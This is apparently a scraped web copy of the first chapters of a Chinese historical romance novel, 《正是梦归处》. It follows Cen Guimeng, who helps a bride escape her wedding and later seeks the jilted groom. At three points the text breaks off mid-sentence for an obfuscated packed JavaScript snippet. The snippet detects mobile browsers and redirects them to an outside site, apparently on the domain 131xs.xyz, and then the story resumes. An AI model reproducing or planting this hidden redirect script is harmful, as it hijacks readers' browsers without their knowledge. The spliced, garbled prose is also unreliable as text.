《正是梦归处》 1. 从此醉 岑归梦第一次见到明铮,是在明铮的婚礼上。 他被逃婚了。 东安侯府的女公子岑归梦在十岁这年,扮作男童跟着表兄谢炅一道来参加婚礼。 听说这是高平县县令家公子的婚礼,娶的是广陵宋员外家的幺女。 婚礼排场不大倒也算是热闹。 只是归梦有些不明白,像表兄谢炅这样素来厌恶俗务之人,为何会从都城建康特地赶来道贺。 她的注意力只在桌上的点心瓜果上了,平日母亲总是不许她贪嘴,今日正好吃个痛快。 围着表兄逢迎交谈的宾客属实不少。 透过熙攘的人群,堂中着红色喜服正忙着招呼客人的料来便是新郎了。 她离得远,看不清人群之中那新郎的面容。只隐约看到其人长身玉立,气度沉静。 该到行礼的时刻了,却没见到新娘出场,只有丫鬟匆匆赶来一脸惊慌地来报:“不好了,新娘子不见了!” 满堂宾客都是一惊,随即一片哗然。 归梦淹没在人群中,依稀看到那新郎匆忙而不失礼貌地朝宾客行礼作揖,低声同他父亲说了句什么,便疾步出门了。她好奇心大起,偷偷跟了上去。 她随着那新郎出了后堂,听到回廊传来的脚步声有些急乱,那抹大红色袍角在黑夜之中一晃而过。 他走这么快,莫不是要去把新娘子找回来? 归梦人小腿短,气喘吁吁地跟到大门口。 只见那身着大红色喜服的颀长背影正扯过一匹高头骏马,伸手在马背上一按,竟是连马镫都没踩,长腿一跨便上了马。 当是时,“噼里啪啦”几声,门口鞭炮烟花齐鸣。许是前厅的小厮不知内情,只是依令在吉时准时燃放,以图个彩头。 那马听不得大动静,受了惊,顿时长嘶一声,高高扬起前蹄。 马背上的少年勒紧缰绳,轻吁以作安抚。 归梦定睛看去。满天烟花下,明昧倏忽间。她看清了新郎的样子——容颜清俊,气度高华,望之如山巅冷月,眼若寒星,竟比烟花还明亮几分。 没想到,他竟这般好看,比她父亲、甚至比她那位才貌冠绝京师的表兄还好看。 他绝对是她有生以来见过的最好看的男子了。 那新娘定是没见过他才会逃婚吧。归梦十分笃定地作此猜想,这样才合情理嘛。 她捕捉到那寒潭般沉静的眼眸中充斥的焦虑与失意,内心不由得涌起一些不安与悔意。 约莫半柱香之前。 归梦喝多了茶水,便溜到了后院想找茅房方便。 此时已是夕阳西下,余晖映照着庭院,让她忍不住边走边四处打量。院子规格不大,倒还算雅致,一花一木,假山鱼池都显出主人品味不俗。 从前厅到后院一路上没看到什么丫鬟下人,估摸着多去前厅帮忙了吧。 “向前,再向右。”她度量着顺着小径如此这般走便该是如厕的地方。 忽然间,小径旁的树丛中闪过一抹大红色的身影。“嘤咛”一声,似是有人不小心跌倒了。听这声音像是女子。 归梦吓了一跳,走近几步,只见树丛后赫然蹲着一位身材窈窕的少女。她见那红衣少女挣扎着似是站不起来,便上前几步扶住她。 少女见扶起自己的是个男童,双颊顿时飞红,站稳后便轻轻挣脱她的手,垂着眸敛衽道谢。 归梦仔细打量她——看着比自己大几岁,身材窈窕婀娜,一身红衣映衬得她肤色如雪,两弯柳叶细眉轻轻蹙着,右边眉上一点朱砂小痣嫣红可爱。眼如点漆,腮凝新荔,分明是个极出色的美人。只是盛妆之下仍未掩住些许愁容,脸上淡淡泪痕分明是哭过。 “姊姊可是脚崴了?”归梦虽然只有十岁,但也是“知好色而慕少艾”的年纪了。她只觉这美貌姊姊观之可亲,一时也不急着去如厕了。 少女红着脸摇摇头,左右张望一番,蹙眉轻声道:“脚倒是不打紧。只是,我着急离去。小兄弟可知道后门怎么走?” 归梦见她含羞带怯,弱柳扶风的娇弱模样,大起怜香惜玉之心。 她拍拍胸膛:“跟我来。”她看这庭院布局与自己家有几分相似,想是本地豪富士绅家多是如此设计居所。 听这姊姊的口音温软,带着吴侬之腔,大概并非本地人。 美貌少女忍着脚痛跟在归梦身后,不时注意有无下人经过。万幸一路上并未被人发现。不过一会儿功夫便到了后门口,也不见有人看门把守。 “这里就是啦。”归梦略有些得意,自己果然聪明,第一次到别人家里就轻易地摸透了布局找到了后门在哪。 两人一同使劲拉开门闩。 那少女正欲推门离去,归梦忽道:“姊姊,你可是不喜欢那新郎吗?”这一身火红的嫁衣,傻子也能看出来,她就是今日婚礼的新娘。新娘要逃婚,本是不合礼法大逆不道之事。但岑归梦天生任性妄为,不拘礼教,想着这新娘定是有苦衷,若是被盲婚哑嫁误了终身幸福,那逃了也罢。 这问题似乎难住了这美貌少女,她并未回答,而是望着后门的门板,眼中有着无尽向往与憧憬。这门后似乎有着极光明的前景在吸引着她。 她欲言又止,只笑了笑:“你以后便会明白的。”似是忽地想起了什么,素手伸到腰间解下一枚玉佩塞到归梦手中。 触手温润,归梦抬起手掌一看,是一枚羊脂白玉雕刻而成的比目白玉佩,雕纹精巧灵动。她出身贵族自然不少见这类首饰。但这一枚成色与质地都是上乘,浑无瑕疵。 “小兄弟,谢谢你今日相助。这个,你留着,或许…”美貌少女咬了咬嘴唇没再说下去,毅然提起裙摆转身走出了后门。 “哎?”归梦急忙追出去要将玉佩还她。帮她不过是举手之劳罢了,可无需这样的谢礼。 走出后门,她看见不远处那艳丽的红色身影正在一人的搀扶之下上了马车,仿佛是个青年男子。随着一声赶车的叫喊响起,马车已飞快地绝尘而去。 也许,那才是她的心上人。此一去,便是双宿双飞的神仙眷侣了吧。 这样想来,她也算是做了件好事,功德无量。 归梦满意地退回到宅子内,把后门照原样关好。手中握着那块比目白玉佩,回想着那少女,颇有些钦佩于她逃婚的勇气。 “谁在那?”一声叫唤打断了归梦的思绪。 只见一名女子端着茶水,满脸疑问地望着她。看服色应该是府里的丫鬟。 归梦眼珠一转,“哎呀”一声捂住肚子叫道:“我肚子好痛,在找茅房,谁知道这府邸太大,竟迷路了。” 她眨巴着大眼睛可怜兮兮地说:“这位姊姊,你可以带我去找茅房吗?” 那女子见是一个男童,全然没有起疑心,领着她去了。 待归梦回到前厅,过不多时,便看到那丫鬟来报新娘不见了的消息。 看来她无意中又为逃婚的新娘拖延了一些时间。 身为始作俑者,又加上好奇心的驱使,让她跟着新郎到了门口。没想到,这新郎竟是生得一副这般的好皮囊。 岑归梦不禁迷惑了。想是那美貌姊姊从未见过这新郎,且已有爱人,这才会选择逃婚的吧。 若是她未曾逃婚,见到这新郎,定然也会倾心于他,两人相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599159|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌登对,正是一双璧人。 那日之后,不知为何,岑归梦总是对这位被逃婚的新郎念念不忘。许是因为自己的任性妄为毁了他的姻缘,心怀歉疚,又或许是因为初见太过惊艳,始终无法忘怀他的绝世风姿。 没过几日,东安侯接到了回京任职的调令,归梦也随父母回到了幼时曾短暂居住的都城建康。 身在闺中,她再无机会去打听这被逃婚的新郎的动向,甚至连他的名字都不知道。当然也无人知道,东安侯府的女公子幼时曾女扮男装在一个县令公子的婚礼上偷偷放跑了新娘。 她只把这种思念放在心底,脑海中时不时地会闪过那一夜,漫天烟花下,鲜衣怒马的少年模样。还有他眼底里令她心虚的忧色。 这一念,便念了三年。 永宁十七年,当今天子晋武帝不理朝政,只醉心于长生问道,终日召方士相伴,沉迷炼丹服药。国事尽都交予年仅十六岁的太子。 太子监国理政,太子妃的人选自然是慎之又慎。 太子萧益的母亲,也就是当今皇后,出身名门谢氏,是岑归梦的姨母。谢皇后自然希望归梦能嫁给太子,好亲上加亲。门阀贵族与皇室之间联姻,也是司空见惯的事。于是便将东安侯夫妇一家从封地召回了建康。 只是,归梦的父亲——东安侯岑熙曾找方士给女儿算过命,说是她情路多舛,命带伤官,不宜过早婚配。又加上归梦自小性子便十分惫懒,琴棋书画学的稀松平常无一门精通,刺绣女红品香插花也是浅尝辄止。生性好奇兴趣爱好广泛却不愿苦学深究。兴致来的时候热火朝天,没几天就热情熄灭丢到脑后了。 向来女子讲究德言容工,更遑论将来要坐那母仪天下的中宫之位。眼看着女儿如此资质,若要嫁与太子为妃,实在有些德不配位。 岑氏与谢氏均是朝中名门望族。岑熙年轻时英武不凡,妻子谢氏也是贵族中出名的美人。虽是政治联姻,但两人婚后恩爱甚笃。夫妇俩年逾不惑,却只得了岑归梦这一个女儿。 偏偏这唯一的女儿,还只是中人之姿。 虽说岑归梦收拾打扮下也算个美人,却并不出众,更谈不上艳压群芳倾国倾城。其母谢氏又向来重容色,颇有些以貌取人。见女儿容貌不过尔尔,性格又是这般惫懒,不由得有些灰心。 太子萧益德才兼备,容貌俊雅,若是作夫婿,那是第一等的人选。只是白璧微瑕,太子幼时得了一场重病,虽侥幸活了下来,却从此身子羸弱,一条腿也落下残疾,日常行走终是与常人有异,更别提领兵打仗了。 当今皇帝与皇后膝下只有这么一个皇子,与其他妃嫔所生的皇子大多夭折或是出身低微年龄尚小。 晋武帝已是天命之年,江山自然只能交予太子了。 太子萧益素来体弱多病,尽管文韬武略,堪称英才,但看来看去,确非寿考之人。 有道是“父母之爱子,则为之计深远”,东安侯夫妇两相权衡多番考虑之下,爱女之心战胜了一切,也不去作那未来皇帝的岳父母的指望了。只盼着归梦能觅得一个文武双全形貌绝佳的夫婿,平安喜乐一生也便罢了。 于是夫妇二人几番无视,装作听不懂谢皇后的暗示,只以归梦年纪尚幼,难居高位为由婉拒入宫。 自归梦十岁回到建康开始,谢皇后便流露出结亲之意。如今十三岁,虽未及笄,但在其时,也是贵族女子该议亲的年纪了。 谢皇后被这样的理由搪塞拒婚,认为东安侯必定是介意太子的腿疾。即使是自家妹妹和妹婿这样亲近的亲戚关系,也难免有些恼怒。她转头就选了夏侯氏族的孙女夏侯敏为太子妃,婚礼便定在下月十五。 2. 向来痴 当朝太子的婚礼自然是盛况空前。消息一出,远在封地的皇亲贵胄也纷纷抽身前来观礼道贺,一时间,京师建康之内车水马龙,分外热闹。 时值暮春三月,杂花生树,秦淮河两岸风光自是美不胜收。高门鼎贵,多居于此。东安侯岑家的宅子居于南岸,北岸则是与他家沾亲带故的世家大族王家、谢家的宅邸。 搬回京师的宅邸也有三年了,归梦仍是怀念在高平郡的日子。虽比不得建康的繁华,但胜在平淡安宁,意趣闲适,自由自在。 自从回到这儿,就有一件悬而未决的大事始终笼罩在她头上,让她分外忧心。好在,如今尘埃落定。 只是,女儿家终究是要嫁人的。再过两年待她及笄,婚姻之事必要提上日程了。 男怕入错行,女怕嫁错郎。 她听闻母亲的表姊就是听从父母之命,嫁与了琅琊王氏不成器的儿郎,误了终身。 前车之鉴!她想到此节,便生出身不由己,无力掌控命运之感。 午睡醒来,有些懒懒地不想起身活动。 贴身侍女紫芽见她醒了,立刻端上一碗早就备好放得温温的牛乳茶。 紫芽惯知归梦有起床气,此刻定是心绪不佳,于是伸手取了梳妆台上的犀角梳子轻轻地一下一下地给她蓖着头发,让她舒坦些。 自从三月三上巳节那日游湖归来之后,她便常常这般出神。莫不是那一日落水,受惊过度? 紫芽边梳头边道:“梦娘猜猜我今日在街上看见谁啦?” 归梦兴致寥寥,随口问道:“谁?” 紫芽还未回答,先忍不住笑了:“是那位太子爷未来的内弟……” “夏侯权?” “可不就是他。”紫芽向来是话匣子一打开就收不住了,兴奋道:“他家姊夏侯敏这还没嫁给太子爷呢,他就先摆起皇亲国戚的派头来了。今日在街上见他那仪仗可真是浮夸,比咱家主君出行还要气派。车马上的装饰也是一水的珠光宝气,俗不可耐,晃得人眼都花了。” 归梦噗嗤一笑。富贵迷人眼,朝中权贵豪富竞相攀比显示身份也不是一日两日了。像夏侯权这样一朝攀龙附凤便张扬起来肆意夸耀的也不奇怪。 紫芽见归梦笑了,说得越发起劲:“近日入京师的青年才俊可真不少。听鲁管家说,他那日奉主母之命去河北岸给表少爷送东西,可碰见一位谪仙一样的美男子,比咱家表少爷还英俊呢。只是看着面生,以前从未见过,不知是哪家高门大族的公子……” 她感叹道:“咱家表少爷也算得上是貌若安仁,才比子建了。若是比他还好看,那是什么样呢?”说完不禁一脸神往。 归梦颇有些不以为然。其时男子皆以阴柔为美,崇尚白皙肤色,甚至喜好涂脂抹粉,极重容色。每见这等面白唇朱,雌雄莫辨,毫无男子气概的男人,她便大皱眉头,感叹阴盛阳衰。 像紫芽所说的,估计又是如那位短命的卫玠一般弱不禁风的阴柔美男了。 若论容貌瑰绝,她平生所见,唯有那人……无人能出其右。 原以为那人不过是在她生命中绽放一瞬的烟花,只有刹那间的交错而已。 岂知,念念不忘必有回响。隔了三年的时光,就在前些日子,她又遇上了他。 上巳节那日,归梦一早便依礼被服侍着用兰汤沐浴,又与一众女眷们来到城东的青溪边祈福。她与众人将水酒洒入潺潺流水,以除秽气。 正值春光明媚,青溪岸边桃红柳绿,芳草萋萋。一艘小船停在岸边。她玩性大起,拉着紫芽便要到河上泛舟。 偏巧王家的女公子王如芝也带了侍女要上船游河。 小小一艘船,四人共乘极是勉强。归梦与王如芝互不相让,谁也不肯下船。 这小船不曾拴牢,摇摇晃晃竟随水漂流起来。四女均不会操舟,王如芝率先吓得叫嚷起来。 岸上诸人发觉,慌忙派人去找船来相救。 小船晃晃悠悠地荡到了河中央,已离岸边越来越远。 四女逐渐适应了这小舟,恐惧渐平。王如芝怨怪起归梦来:“若不是你硬要与我抢这条船,也不会这般……都赖你!” 归梦反唇相讥:“明明是我先看上这艘船的,现下这情形可是你自找的!” 二人唇枪舌剑互不相让。吵嚷之下战火升级。王如芝伸手推搡了一把,归梦站立不稳,身子失去平衡,“扑通”一声坠入河中。 她不识水性,身子一个劲儿向下沉,连呛了几口水。明明看见紫芽趴在船边着急探手过来,却无力伸出手去拉住。 也不知过了多久,朦胧间她被人救起。 待醒来时,她发觉自己卧在岸边一棵桃花树下。 四下望去,忽见青溪之上,碧水与蓝天相接处,一个白衣少年正撑着竹篙,泛舟朝对岸而去。 他的背影清峻挺拔,归梦的目光忍不住追随着他。只见他弃舟登岸,伸手解下拴在柳树上的马匹。两手在马背上一撑,长腿跨起,轻轻跃上了马背。 尽管是那么小而模糊的背影,尽管没看清容貌,可是她已然确定,就是他!那样的上马姿势,那样的风姿背影,普天下,还有谁? 事后她详细问过了紫芽,确是一名泛舟经过的白衣男子救起了她将她送上了岸。只是她们的船漂得远了,也未看清那男子的容貌。 “梦娘,前些日子裁制的新衣已经做好了,天衣阁的人刚送来。”说话间,紫芽取来了衣服,软言道:“这是过几日参加太子册妃大典时要穿的,夫人特地交代过,梦娘换上试试吧,看看是否需要再改。” 归梦任由她轻手轻脚给自己更衣。不多时,一位盛装丽人便出现在了镜中。浅芽黄色的宫装上绣着精致的月白色滴露牡丹花纹,剪裁合身,衬得气质高贵大方,不失名门贵女的身份。 镜中的女郎稚气尚未全脱,额头饱满开阔,英气的浓眉,一双圆而大的杏眼,神采奕奕,清澈灵动,明亮若星子。鼻梁高挺,鼻头微丰,嫣红饱满的薄唇,曲线明朗的下颌显得有些倔强。红润细腻的皮肤,高挑纤细的身材,正是青春鲜活的年纪,无需粉黛妆饰,也颇有几分楚楚风姿。 用母亲的话说,归梦只继承了她年轻时三分的美貌。为了子孙后代的容貌计,归梦需得觅得一位容貌瑰绝的郎君才行。 归梦对镜照了一番,自觉没什么不妥了,便三两下褪下了行走不便的襦裙。她随意挽了挽头发:“把男装拿来。” 紫芽小心提醒:“……梦娘,现下若出门,晚饭前可不一定赶得及回来…..” 归梦斜睨了她一眼,脸上的表情不容置疑。 紫芽吐了吐舌头,她深知家里这位女公子的脾气向来是说一不二,十分执拗的。她认定想要去做的事,谁也难以扭转其心意。 紫芽从衣柜底层取来一套男式衣袍,归梦很快熟练地穿戴好。 归梦小时候长得就英气,浓眉大眼,乍一看像个男孩。东安侯并未纳妾,与谢氏成婚二十载仅得了归梦这一个女儿,不免有些遗憾。 谢氏曾一时兴起将幼时的归梦作男童打扮,众人均赞其英气。于是幼年起,归梦便喜欢私下扮作男童偷溜出去玩耍,长大后仍未改这一癖好。她的衣柜里,总是备着几套合身的男装。 一袭青衫洒脱磊落,不戴任何妆饰,连腰间用来节步显示身份的玉佩也未曾坠挂。她向来性子急,最不喜环佩玎铛踏着碎步缓慢而行。 归梦携着紫芽走出平日所居的嘉宁阁,转过几条回廊,经过后院马厩,牵上惯骑的坐骑,刚一离开侯府便迫不及待地打马疾行。 她从小被当成儿子来培养,骑马射箭的技术虽谈不上一流,但也算纯熟。连带着她的贴身侍女也耳濡目染学了些皮毛。 出了府邸,归梦和紫芽二人策马,迎着午后的暖阳一路西行。 穿过了朱雀门,再往西便是栖霞山了。 到得山脚,便看到一大片郁郁葱葱的竹林。归梦让紫芽将马匹拴好,二人沿着林间小径而行。 此时正当三月末,春笋冒头破土而出,一根根野竹色如碧玉,扑面而来一阵阵沁爽凉意与竹子的清新气息。身处其间,胸中烦闷一扫而空。 抬头望去,远处青山碧峰之上一泓清泉飞流直下,竹林深处一片泉水汇聚而成的小溪淙淙流淌。 溪边碎石错落,一块较大的山石上俨然躺卧着一个人。 归梦叹了口气,快走几步上前,方走近一些便踢到了一个空酒壶,定睛一看,周围也散落着不少酒壶。 石头上的中年文士睡得东倒西歪。他形容落拓不羁,披头散发,胡子拉碴,一身宝蓝色长袍满是褶皱,沾了些许水渍的领口散开,双眼紧闭,面色潮红,神情似醉非醉。 “师父,醒一醒了。”归梦伸手推了推他。一连叫了几声,都毫无反应。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599160|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >归梦皱了皱眉头,转头说道:“紫芽,帮我把他扶起来。” 紫芽见归梦神色紧张,也顾不得男子身上沾了泥尘有些腌臢,上前将其扶起半坐着。 归梦凑近,果然闻到酒气混合着一股药味,再不犹豫,果断道:“快,将他外袍去了!” 两人合力一齐动手,除去了男子的外袍和鞋袜。 归梦从身上掏出一块帕子,拿到溪边打湿,敷在了他的额头。等了片刻仍是不见他醒转,想了想,伸手从紫芽鬓边摘下一枚攒珠钗,找准他鼻唇之间人中的位置,用钗尖用力扎了下去。 只听“唉哟”一声,男子悠悠醒转了。他揉了揉被扎痛的地方,睁眼慢慢看清满眼关切望着他的归梦主仆二人,迷茫道:“徒儿,你怎在此?” 归梦见师父已无碍,不禁松了口气,揶揄道:“枕石漱泉,师父这般风雅,弟子岂能不追随效仿。” 紫芽捂嘴笑道:“郭先生,您醉得不轻,可吓坏我们了。” 郭朴坐起身,看了看四周,逐渐清醒过来,便知是自己服药过量晕厥了。 归梦叹道:“师父您也真是糊涂,明知服食了五石散需得发散了,还敢吃了冷酒倒头就睡。若是弟子来的再晚些,恐怕您老人家真就腾云驾雾,去做神仙了!” 郭朴闻言有些尴尬,复又笑道:“此话不假,今日多亏了徒儿你了。”他说罢摸了摸鼻唇之间被扎的位置:“下手可不轻啊,月余不见,想来你的医术又有长进。” “师父您可别笑话我了。”她怎会听不出师父话里的反讽:“您最了解我的性子。我对精进医术可没兴趣。” 郭朴慢悠悠将外袍鞋袜穿好,叹道:“唉,为师我这辈子拢共也就教过两个人,其中一个还不算是正经徒弟。可惜了我一身才学,百年之后恐怕只能随我埋没黄土了。” 归梦听出师父话中有伤感之意,忙堆起一个可掬的笑容:“师父,您满腹经纶学贯古今,后辈子弟只要能学个十之一二也是受益无穷了。您放心,我保证会把您的本事给传承下去的。不过……”她好奇心大起:“您收的另一个徒弟是谁啊?以前怎么没听您提起过。” 郭朴嘿然一笑,拈须叹道:“那小子啊……”想是回忆起了什么,话说了一半便止住了。 归梦也不追问,只拣了附近一处平整的石头坐了,默默不语。 郭朴余光扫了扫身旁的小徒弟。三年前他是侯府的门客,受岑熙器重,请他给家中这位金尊玉贵的女公子作师傅。按照岑熙的想法是让他给归梦讲授五经六义,训诂之学。 不想她知晓他擅长卜筮,于天文地理阴阳五行也是精通,课余便缠着他教授。于是这几年,岑归梦把医卜星相这些小道倒是学了个全。只是俗话说易学难精,她性子急躁不求甚解,只靠着几分天资罢了。 但是二人的师徒缘分却是实打实结下了,哪怕郭朴已离开侯府,归梦仍不时前来探望。 看她此刻的样子,满腹心事。 郭朴拈了拈自己的胡须,不觉微笑,想来是少女怀春吧。 “说吧,遇到什么难事。” 听到这句话就如同吃了一颗定心丸。归梦朝紫芽努努嘴,紫芽顿时会意,从随身的包袱里掏出两样东西。 归梦伸手接过,笑嘻嘻地捧到郭朴面前:“有师父在,弟子就不会有难事。师父看看,弟子带了什么来?” 两个泥塑封好形制古朴的小瓮。 归梦边开封边道:“去岁酿制的金蕊梅花酒,埋在家中后院梨花树下,今日想到火候差不多了,正好挖出来献予师父品鉴。” 泥封一开,酒香四溢。郭朴肚子里的酒虫早已躁动不堪,他贪婪地捧起,嗅了嗅酒香,双眼一亮,连连点头:“唔唔,是这个味儿!徒儿酿酒的手艺可是一绝。为师佩服!”说罢取过归梦递上的酒盅,迫不及待地斟了满满一盅,一饮而尽。 他闭上双眼脸色陶醉,显然是回味无穷。 “此酒色泽金黄澄澈,入口醇厚且带了梅花清香。余韵不绝如金蕊梅清寒傲霜香气悠远……”郭朴咋着舌喃喃自语,向来名士饮酒便大做文章,归梦也不是第一次见师父饮酒后的狂态了。她更深知,师父饮了酒更是和颜悦色,万事好商量。 转眼间,两壶酒被喝了大半,郭朴已有些微醺。归梦料定此时是央师父帮忙的最佳时机,于是缓缓地开口了。 “师父,弟子想找一个人。” 3. 无觅处(一) 郭朴嘴里一口酒差点喷出来,他呛咳着道:“你真当为师是神仙?不知姓名、生辰,要在芸芸众生中找到一个人现在何处,这如何做得到?” 归梦也觉得此事似乎有些为难,但仍不死心:“师父您的卜筮之术出神入化,若是您都没有办法,那谁还能帮弟子呢?您就试试吧,试试吧——”说着不断来回摇着郭朴的手臂,大有软磨硬泡之势。 郭朴看着小徒弟可怜巴巴的神情,不由得心软:“好了好了,姑且一试,但这事成与不成,在你。” 归梦双眼睁大,有些疑惑。 郭朴微微一笑,放下酒坛,起身望着天边夕阳:“为师往日是怎么教你的——卜筮若要精准,必遵的三大要诀背来听听。” 归梦边回忆思索边答:“无事不卜,无疑不卜……” “还有呢?” “非关求问者自身,不卜。” 郭朴微笑道:“照啊,你眼下要寻的这人,只存在于你心中,与我毫无干系,况且你无任何物事可予我参照去寻他。你二人也仅是几面之缘。因此,卜筮非得你亲力亲为不可。” 归梦苦恼道:“可弟子已经试过了,不管是用龟壳,铜钱,蓍草,抑或是扶乩,都难以卜算。” “为师和你说过,任何工具只是手段,并无任何高下之分,关键还是卜筮的相者如何解读以及求问者是否心诚。” 归梦扁了扁嘴,嘟囔道:“您的意思不就是我学艺不精,本领低微嘛。” 她顿了顿,又道:“这也不行,那也不行,难道是我不够心诚?”不由得沮丧起来。 郭朴见状,无奈地摇了摇头。恰逢一阵清风徐来,他风笼满袖,掐指一算,胸中已有计较。 “你且回去,此事急不得。但若不出我所料,半月之内应有消息。” 归梦向来不怀疑师父的神机妙算。尽管众里寻人如同大海捞针,她也愿意一试。毕竟这是她有生以来的第一次心动。更何况,救命之恩,岂能不报?她一定要找到他! 接下来的日子里又是期待又是紧张。 归梦的行程也是排的满满当当。几日后先是随着父母亲去参加了太子的册妃典礼,场面甚是宏大,一片富贵荣华,鲜花着锦的盛世气象。婚礼后没过几天,又与母亲入宫谒见皇后姨母,也见到了太子。 她幼时住在京师时因着皇后姨母的关系也曾频繁随母亲出入皇宫,对太子萧益依稀还有一些不错的印象。记忆中,他比她年长许多,是一个温柔宽厚的兄长,总是愿意照顾她。后来她随父母离开京师去到封地,临行前还颇有些难过,舍不得这位太子表兄。 若不是她已有了一见倾心的对象,其实她倒也不介意嫁与太子。虽然他身有残疾,但是待人谦和有礼,又聪明能干,属实是一位温润君子,女子若能得夫如此,也算不枉了。 只是……若是做了太子妃,必然有许多的规矩,还担负着将来要母仪天下的表率职责。归梦想想就觉得头大。 太子成年后便搬到紧挨着太初宫的西苑居住,听闻太子性好风雅,西苑之内栽种着许多各地移植来的奇花异草,美不胜收。归梦自然不会错过这个开眼界的机会。趁着母亲与皇后姨母饮茶叙话的功夫,她便溜了出来。 西苑与皇宫之间并无门禁,想是方便太子随时出入处理政务。 午后,暖风吹拂,熏人欲醉。西苑的花园果然名不虚传。入目处红红白白,桃李芬芳,落英缤纷,恍若人间仙境。 归梦踏春赏景,只觉眼花缭乱。 错眼望去,在这仙境中,竟还有一位白衣仙子。 不远处的亭子里,一位身着月白宫装的女郎正坐在石凳上看书。她以手支额,显是看书入了神,并未注意到有人在附近。 微风拂动她的发梢,纤细白净的素手时而翻动着竹简,如纷飞的玉蝴蝶。 西方有佳人,皎若白日光。 好美丽的女子!归梦在心里如是赞美。 在太子的西苑之中竟藏着这般貌美的女子,不知是何身份。她不觉起了探究之心。 “……寄情在玉阶,托意惟团扇。春苔暗阶除,秋草芜高殿。” 白衣女郎低吟的读书声被归梦身上的环佩声打乱。 她闻声投来目光,继而放下手中竹简,从容起身见礼。 “敢问是哪家的女公子,妾身有失远迎。”女郎丹唇轻启,声音柔婉动听,如同天籁。 归梦细细打量,这女郎看着约莫比自己年长几岁,身材纤秾合度,通身无太多妆饰,容貌清丽不可方物,气质超逸出尘。 走近一些,她更加被这女郎的美貌所震撼。 明眸善睐,顾盼神飞。倘若曹子建的《洛神赋》中的那位仙子幻化到现实中,也莫过如此吧。 不知为何,她总觉得这女郎眉目之间有一种熟悉之感,仿佛在哪里见过,却想不起来。 归梦定了定神,连忙还了一礼。她暂时不想表露身份,含混道:“我随父母前来,不想这西苑太大,竟迷失了方向。” 这话漏洞百出,她以迷路作借口到处乱逛,也不是第一次了。 白衣女郎微微一笑,也并不点破,笑着邀归梦坐下。 “方才听到姊姊在吟《婕妤怨》?”归梦笑着询问。 白衣女郎点了点头,将竹简书册收至一边道:“不过闲来读些诗,打发时间罢了。” “姊姊这般貌美,又怎会如班婕妤般’秋扇见捐’?”归梦话一出口就略有些后悔自己的冲动,虽是夸赞的话,但第一次见面便论及别人私事,当真是有些冒犯了。 白衣女郎倒不以为忤,只是笑笑:“世事浮沉如雨打萍,谁又能说的准呢。” 脚步声动,侍女端着茶点来了。 白衣女郎温然道:“女公子若不嫌弃,不妨先饮茶休息片刻,再让妾身派侍女引路。” 桌上是热气腾腾香气四溢的一壶茶并四色点心,蜜汁杏脯、紫藤千层花糕、松子穰和翡翠桃叶酥。 归梦取了块花糕,一尝之下,满口甘沁,顿时赞不绝口:“这可比我家中厨子做的好吃多了。” 那侍女忍俊不禁道:“这可是我们娘子自己琢磨着做的,自然不同于外面的做法。” “是吗?姊姊可愿教我?”归梦闻言看着白衣女郎笑道。她本就于美食一道颇为热爱,平素也喜欢自己捣鼓吃食。 白衣女郎抿嘴一笑,挽袖缓缓斟茶:“其实倒也不难,将紫藤花瓣摘下,用水洗净揉碎,再拿白糖、松子、小脂油丁一起拌匀了。面皮擀薄,这么一层面一层馅儿的叠起来蒸,蒸好切块即可。” 归梦笑道:“既得了方子,改日我定要试一试。” 吃过点心,饮了茶。白衣女郎伸手唤那侍女:“素秋,你送这位女公子。”言罢朝归梦微笑告别。 聊了这许久,她竟也不追问归梦的姓名家世,让归梦大生好感。 她心内感叹于这白衣女郎不仅容貌极美,还是这般蕙质兰心,令人如沐春风,为其风采所倾倒,也对其身份更加好奇了。方才在席间她没好意思直接询问,但是观其言行,心里也猜到几分,只差个确定的答案。 素秋引着归梦,二人一路朝花园出口而去。 “素秋,你家娘子和太子如何称呼?”归梦忍不住问道。素秋尚未回答,就被一声娇呼打断了。 “谁在那说话?”一个清脆的女声响起。 一个身量娇小,穿着紫色宫装的少女带着侍女站在不远处朝她们望来。 “什么人?快过来拜见公主!”那侍女颇有些颐指气使。 公主?归梦走近几步,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599161|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清对方相貌后笑了笑,敛衽行了个礼道:“云蔷公主好。” 身旁的素秋闻言也跟着行了一礼。 紫衣女郎仔细打量了她们一番,皱了皱秀眉,淡淡道:“原来是岑归梦啊,当真是好久不见。” “是啊,回建康也有些日子了,倒是第一次见到公主呢。” 云蔷公主乃是李才人所出,是当今皇上唯一的女儿,也是太子同父异母的妹妹。她生母出身低微,位分不高。皇上又沉迷修道炼药,素来不在意这个女儿。谢皇后自然也不会在意这个庶女。 